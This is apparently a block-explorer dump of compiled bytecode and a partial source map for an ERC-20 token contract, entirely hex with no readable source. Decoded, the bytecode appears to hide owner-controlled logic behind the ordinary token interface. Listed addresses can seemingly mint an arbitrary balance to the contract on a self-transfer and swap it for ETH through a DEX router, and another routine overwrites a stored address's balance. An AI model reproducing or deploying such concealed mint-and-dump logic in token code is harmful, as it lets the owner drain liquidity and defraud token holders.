815260200190815260200160002060009054906101000a900460ff169050919050565b61132f30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e37565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156113905761138f61242a565b5b6040519080825280602002602001820160405280156113be5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106113f1576113f061225b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611498573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bc919061246e565b816001815181106114d0576114cf61225b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e4261155a9190612227565b6040518663ffffffff1660e01b815260040161157a95949392919061259e565b600060405180830381600087803b15801561159457600080fd5b505af11580156115a8573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b6000806000905060006115de86611692565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006116528787611870565b9050801561168557611682606461167460075488611a2090919063ffffffff16565b611a9a90919063ffffffff16565b92505b8293505050509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611726919061246e565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d3919061246e565b6040518363ffffffff1660e01b81526004016117f09291906125f8565b602060405180830381865afa15801561180d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611831919061246e565b90506118688382611863600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661087a565b611af8565b915050919050565b6000611a188383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611908919061246e565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611991573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b5919061246e565b6040518363ffffffff1660e01b81526004016119d29291906125f8565b602060405180830381865afa1580156119ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a13919061246e565b611b54565b905092915050565b6000808303611a325760009050611a94565b60008284611a409190612621565b9050828482611a4f9190612692565b14611a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8690612735565b60405180910390fd5b809150505b92915050565b6000808211611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad5906127a1565b60405180910390fd5b60008284611aec9190612692565b90508091505092915050565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611b3957829050611b49565b600081611b469190612621565b90505b809150509392505050565b600080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bb75750611bb5856112ac565b155b90506000600260149054906101000a900460ff1690506000829050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c325750611c30876112ac565b155b8015611c3c575081155b8015611c7457508573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611cc35785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611d0d565b828015611cce575081155b15611d0c578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611d0b57600190505b5b5b8093505050509392505050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d4f82611d24565b9050919050565b611d5f81611d44565b8114611d6a57600080fd5b50565b600081359050611d7c81611d56565b92915050565b600060208284031215611d9857611d97611d1a565b5b6000611da684828501611d6d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611de9578082015181840152602081019050611dce565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e1182611daf565b611e1b8185611dba565b9350611e2b818560208601611dcb565b611e3481611df5565b840191505092915050565b60006020820190508181036000830152611e598184611e06565b905092915050565b6000819050919050565b611e7481611e61565b8114611e7f57600080fd5b50565b600081359050611e9181611e6b565b92915050565b60008060408385031215611eae57611ead611d1a565b5b6000611ebc85828601611d6d565b9250506020611ecd85828601611e82565b9150509250929050565b60008115159050919050565b611eec81611ed7565b82525050565b6000602082019050611f076000830184611ee3565b92915050565b611f1681611e61565b82525050565b6000602082019050611f316000830184611f0d565b92915050565b600080600060608486031215611f5057611f4f611d1a565b5b6000611f5e86828701611d6d565b9350506020611f6f86828701611d6d565b9250506040611f8086828701611e82565b9150509250925092565b600060208284031215611fa057611f9f611d1a565b5b6000611fae84828501611e82565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611fdc57611fdb611fb7565b5b8235905067ffffffffffffffff811115611ff957611ff8611fbc565b5b60208301915083602082028301111561201557612014611fc1565b5b9250929050565b6000806020838503121561203357612032611d1a565b5b600083013567ffffffffffffffff81111561205157612050611d1f565b5b61205d85828601611fc6565b92509250509250929050565b61207281611d44565b82525050565b600060208201905061208d6000830184612069565b92915050565b600080604083850312156120aa576120a9611d1a565b5b60006120b885828601611d6d565b92505060206120c985828601611d6d565b9150509250929050565b6120dc81611ed7565b81146120e757600080fd5b50565b6000813590506120f9816120d3565b92915050565b60006020828403121561211557612114611d1a565b5b6000612123848285016120ea565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612162602083611dba565b915061216d8261212c565b602082019050919050565b6000602082019050818103600083015261219181612155565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806121df57607f821691505b6020821081036121f2576121f1612198565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061223282611e61565b915061223d83611e61565b9250828201905080821115612255576122546121f8565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061229582611e61565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036122c7576122c66121f8565b5b600182019050919050565b60006122dd82611e61565b91506122e883611e61565b9250828203905081811115612300576122ff6121f8565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612362602583611dba565b915061236d82612306565b604082019050919050565b6000602082019050818103600083015261239181612355565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123f4602383611dba565b91506123ff82612398565b604082019050919050565b60006020820190508181036000830152612423816123e7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061246881611d56565b92915050565b60006020828403121561248457612483611d1a565b5b600061249284828501612459565b91505092915050565b6000819050919050565b6000819050919050565b60006124ca6124c56124c08461249b565b6124a5565b611e61565b9050919050565b6124da816124af565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61251581611d44565b82525050565b6000612527838361250c565b60208301905092915050565b6000602082019050919050565b600061254b826124e0565b61255581856124eb565b9350612560836124fc565b8060005b83811015612591578151612578888261251b565b975061258383612533565b925050600181019050612564565b5085935050505092915050565b600060a0820190506125b36000830188611f0d565b6125c060208301876124d1565b81810360408301526125d28186612540565b90506125e16060830185612069565b6125ee6080830184611f0d565b9695505050505050565b600060408201905061260d6000830185612069565b61261a6020830184612069565b9392505050565b600061262c82611e61565b915061263783611e61565b925082820261264581611e61565b9150828204841483151761265c5761265b6121f8565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061269d82611e61565b91506126a883611e61565b9250826126b8576126b7612663565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061271f602183611dba565b915061272a826126c3565b604082019050919050565b6000602082019050818103600083015261274e81612712565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600061278b601a83611dba565b915061279682612755565b602082019050919050565b600060208201905081810360008301526127ba8161277e565b905091905056fea26469706673582212200dcf1a25f5c4285e2c2b79840f81f8e6e6325081bff3f2b3cb85a30033697ca564736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80636e9602e6116100b85780639601f96c1161007c5780639601f96c1461032c578063a457c2d71461035c578063a9059cbb1461038c578063dd62ed3e146103bc578063e01af92c146103ec578063f44637ba1461040857610137565b80636e9602e61461029a57806370a08231146102b6578063715018a6146102e65780638da5cb5b146102f057806395d89b411461030e57610137565b8063313ce567116100ff578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806342966c681461027e57610137565b8063028468581461013c57806306fdde0314610158578063095ea7b31461017657806318160ddd146101a657806323b872dd146101c4575b600080fd5b61015660048036038101906101519190611d82565b610424565b005b6101606104f4565b60405161016d9190611e3f565b60405180910390f35b610190600480360381019061018b9190611e97565b610586565b60405161019d9190611ef2565b60405180910390f35b6101ae61059d565b6040516101bb9190611f1c565b60405180910390f35b6101de60048036038101906101d99190611f37565b6105a7565b6040516101eb9190611ef2565b60405180910390f35b6101fc610648565b6040516102099190611f1c565b60405180910390f35b61021a610652565b6040516102279190611f1c565b60405180910390f35b61024a60048036038101906102459190611e97565b610658565b6040516102579190611ef2565b60405180910390f35b6102686106f6565b6040516102759190611f1c565b60405180910390f35b61029860048036038101906102939190611f8a565b6106fc565b005b6102b460048036038101906102af919061201c565b610761565b005b6102d060048036038101906102cb9190611d82565b61087a565b6040516102dd9190611f1c565b60405180910390f35b6102ee6108c3565b005b6102f86109f6565b6040516103059190612078565b60405180910390f35b610316610a1f565b6040516103239190611e3f565b60405180910390f35b61034660048036038101906103419190612093565b610ab1565b6040516103539190611ef2565b60405180910390f35b61037660048036038101906103719190611e97565b610b10565b6040516103839190611ef2565b60405180910390f35b6103a660048036038101906103a19190611e97565b610c37565b6040516103b39190611ef2565b60405180910390f35b6103d660048036038101906103d19190612093565b610c4e565b6040516103e39190611f1c565b60405180910390f35b610406600480360381019061040191906120ff565b610cd5565b005b610422600480360381019061041d9190611d82565b610d67565b005b3373ffffffffffffffffffffffffffffffffffffffff166104436109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049090612178565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060098054610503906121c7565b80601f016020809104026020016040519081016040528092919081815260200182805461052f906121c7565b801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b6000610593338484610e37565b6001905092915050565b6000600654905090565b60006105b4848484611000565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063d57600080fd5b600190509392505050565b6000600554905090565b60055481565b60006106ec338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e79190612227565b610e37565b6001905092915050565b60065481565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661075257600080fd5b61075d600082610c37565b5050565b3373ffffffffffffffffffffffffffffffffffffffff166107806109f6565b73ffffffffffffffffffffffffffffffffffffffff16146107d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cd90612178565b60405180910390fd5b60005b828290508110156108755760018060008585858181106107fc576107fb61225b565b5b90506020020160208101906108119190611d82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061086d9061228a565b9150506107d9565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166108e26109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092f90612178565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610a2e906121c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5a906121c7565b8015610aa75780601f10610a7c57610100808354040283529160200191610aa7565b820191906000526020600020905b815481529060010190602001808311610a8a57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b0557610aef826112ac565b15610b0457610afd836112ac565b9050610b0a565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b9b57600080fd5b610c2d338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c2891906122d2565b610e37565b6001905092915050565b6000610c44338484611000565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610cf46109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190612178565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16610d866109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612178565b60405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9d90612378565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c9061240a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ff39190611f1c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361103957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107257600080fd5b61107c8383610ab1565b156110905761108b8183611302565b6112a7565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156110dc57600080fd5b60006110e98484846115cc565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113691906122d2565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261118591906122d2565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d39190612227565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112389190611f1c565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129d9190611f1c565b60405180910390a3505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61132f30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e37565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156113905761138f61242a565b5b6040519080825280602002602001820160405280156113be5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106113f1576113f061225b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611498573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bc919061246e565b816001815181106114d0576114cf61225b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e4261155a9190612227565b6040518663ffffffff1660e01b815260040161157a95949392919061259e565b600060405180830381600087803b15801561159457600080fd5b505af11580156115a8573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b6000806000905060006115de86611692565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006116528787611870565b9050801561168557611682606461167460075488611a2090919063ffffffff16565b611a9a90919063ffffffff16565b92505b8293505050509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611726919061246e565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d3919061246e565b6040518363ffffffff1660e01b81526004016117f09291906125f8565b602060405180830381865afa15801561180d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611831919061246e565b90506118688382611863600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661087a565b611af8565b915050919050565b6000611a188383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611908919061246e565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611991573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b5919061246e565b6040518363ffffffff1660e01b81526004016119d29291906125f8565b602060405180830381865afa1580156119ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a13919061246e565b611b54565b905092915050565b6000808303611a325760009050611a94565b60008284611a409190612621565b9050828482611a4f9190612692565b14611a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8690612735565b60405180910390fd5b809150505b92915050565b6000808211611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad5906127a1565b60405180910390fd5b60008284611aec9190612692565b90508091505092915050565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611b3957829050611b49565b600081611b469190612621565b90505b809150509392505050565b600080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bb75750611bb5856112ac565b155b90506000600260149054906101000a900460ff1690506000829050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c325750611c30876112ac565b155b8015611c3c575081155b8015611c7457508573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611cc35785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611d0d565b828015611cce575081155b15611d0c578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611d0b57600190505b5b5b8093505050509392505050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d4f82611d24565b9050919050565b611d5f81611d44565b8114611d6a57600080fd5b50565b600081359050611d7c81611d56565b92915050565b600060208284031215611d9857611d97611d1a565b5b6000611da684828501611d6d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611de9578082015181840152602081019050611dce565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e1182611daf565b611e1b8185611dba565b9350611e2b818560208601611dcb565b611e3481611df5565b840191505092915050565b60006020820190508181036000830152611e598184611e06565b905092915050565b6000819050919050565b611e7481611e61565b8114611e7f57600080fd5b50565b600081359050611e9181611e6b565b92915050565b60008060408385031215611eae57611ead611d1a565b5b6000611ebc85828601611d6d565b9250506020611ecd85828601611e82565b9150509250929050565b60008115159050919050565b611eec81611ed7565b82525050565b6000602082019050611f076000830184611ee3565b92915050565b611f1681611e61565b82525050565b6000602082019050611f316000830184611f0d565b92915050565b600080600060608486031215611f5057611f4f611d1a565b5b6000611f5e86828701611d6d565b9350506020611f6f86828701611d6d565b9250506040611f8086828701611e82565b9150509250925092565b600060208284031215611fa057611f9f611d1a565b5b6000611fae84828501611e82565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611fdc57611fdb611fb7565b5b8235905067ffffffffffffffff811115611ff957611ff8611fbc565b5b60208301915083602082028301111561201557612014611fc1565b5b9250929050565b6000806020838503121561203357612032611d1a565b5b600083013567ffffffffffffffff81111561205157612050611d1f565b5b61205d85828601611fc6565b92509250509250929050565b61207281611d44565b82525050565b600060208201905061208d6000830184612069565b92915050565b600080604083850312156120aa576120a9611d1a565b5b60006120b885828601611d6d565b92505060206120c985828601611d6d565b9150509250929050565b6120dc81611ed7565b81146120e757600080fd5b50565b6000813590506120f9816120d3565b92915050565b60006020828403121561211557612114611d1a565b5b6000612123848285016120ea565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612162602083611dba565b915061216d8261212c565b602082019050919050565b6000602082019050818103600083015261219181612155565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806121df57607f821691505b6020821081036121f2576121f1612198565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061223282611e61565b915061223d83611e61565b9250828201905080821115612255576122546121f8565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061229582611e61565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036122c7576122c66121f8565b5b600182019050919050565b60006122dd82611e61565b91506122e883611e61565b9250828203905081811115612300576122ff6121f8565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612362602583611dba565b915061236d82612306565b604082019050919050565b6000602082019050818103600083015261239181612355565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123f4602383611dba565b91506123ff82612398565b604082019050919050565b60006020820190508181036000830152612423816123e7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061246881611d56565b92915050565b60006020828403121561248457612483611d1a565b5b600061249284828501612459565b91505092915050565b6000819050919050565b6000819050919050565b60006124ca6124c56124c08461249b565b6124a5565b611e61565b9050919050565b6124da816124af565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61251581611d44565b82525050565b6000612527838361250c565b60208301905092915050565b6000602082019050919050565b600061254b826124e0565b61255581856124eb565b9350612560836124fc565b8060005b83811015612591578151612578888261251b565b975061258383612533565b925050600181019050612564565b5085935050505092915050565b600060a0820190506125b36000830188611f0d565b6125c060208301876124d1565b81810360408301526125d28186612540565b90506125e16060830185612069565b6125ee6080830184611f0d565b9695505050505050565b600060408201905061260d6000830185612069565b61261a6020830184612069565b9392505050565b600061262c82611e61565b915061263783611e61565b925082820261264581611e61565b9150828204841483151761265c5761265b6121f8565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061269d82611e61565b91506126a883611e61565b9250826126b8576126b7612663565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061271f602183611dba565b915061272a826126c3565b604082019050919050565b6000602082019050818103600083015261274e81612712565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600061278b601a83611dba565b915061279682612755565b602082019050919050565b600060208201905081810360008301526127ba8161277e565b905091905056fea26469706673582212200dcf1a25f5c4285e2c2b79840f81f8e6e6325081bff3f2b3cb85a30033697ca564736f6c63430008110033

Deployed Bytecode Sourcemap

5590:5663:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10959:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8080:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8536:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8331:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10285:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8252:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5795:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6246:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5830:55;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11153:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3333:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8425:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3035:148;;;:::i;:::-;;2818:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8171:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3613:249;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6463:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10106:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::